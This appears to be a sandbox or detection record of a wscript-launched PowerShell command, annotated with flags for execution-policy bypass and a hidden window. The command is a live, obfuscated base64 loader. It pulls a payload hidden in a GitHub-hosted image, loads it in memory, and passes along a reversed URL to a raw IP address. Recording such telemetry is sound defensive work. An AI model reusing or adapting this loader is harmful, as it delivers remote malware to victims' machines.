parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCd5akxpbWFnZVVybCA9IFlxTGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBZcUw7eWpMd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWUnKydudDt5akxpbWFnZUInKyd5dGVzID0geWpMd2ViQ2xpZW50LkRvd25sb2FkRGF0YSh5akxpbWFnZVVybCk7eWpMaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoeWpMaW1hZ2VCeXRlcyk7eWonKydMc3QnKydhcnRGbGFnID0gWXFMPDxCQVNFNjRfU1RBUlQnKyc+PllxTDt5akxlbmRGbGFnID0gWXFMPDxCQVNFNjRfRU5EPj5ZcUw7eWpMc3RhcnRJbmRleCA9IHlqTGltYWdlVGV4dC5JbmRleE9mKHknKydqTHN0YXJ0RmxhZyk7eWpMZW5kSW5kZXggPSB5akxpbWFnZVRleHQuSW5kZXhPZih5akxlbmRGbGFnKTt5akxzdGFydEluZGV4IC1nZSAwIC1hbmQgeWpMZScrJ25kSScrJ25kZXggLWd0IHlqTHN0YXJ0SW5kZXg7eWpMcycrJ3RhcnRJbmRleCArPSB5akxzdGFydEZsYWcnKycuTGVuZ3RoO3lqTGJhc2U2NExlbmd0aCA9IHlqTGVuZEluZGV4IC0geWpMc3RhcnRJbmRleDt5akxiYXNlNjRDb21tYW5kID0geWpMaW1hZ2VUZXh0LlN1YnN0cmluZyh5akxzdGEnKydydEluZGV4LCB5akxiYXNlNjRMZW5ndGgnKycpO3lqTGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNicrJzRTdHJpbmcoeWonKydMYmFzJysnZTY0Q29tbWFuZCk7eWpMbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHlqTGNvJysnbW1hbmRCeXRlcyk7eWpMdmFpTScrJ2V0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChZcUxWQUlZcUwpO3lqTHZhaU1ldGhvZC5JbnZva2UoJysneWpMbnVsbCwgJysnQChZcUx0eHQuNDQ0NDZlc2EnKydiJysnYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aFlxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMQWRkSW5Qcm9jZXNzMzJZcUwsIFlxTGRlc2F0aXZhZG9ZcUwsIFlxTGRlc2F0aXZhZG9ZcUwpKTsnKS5SZVBsYUNFKCd5akwnLCckJykuUmVQbGFDRSgnWXFMJyxbc3RSSU5HXVtDaEFyXTM5KSB8IGlleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe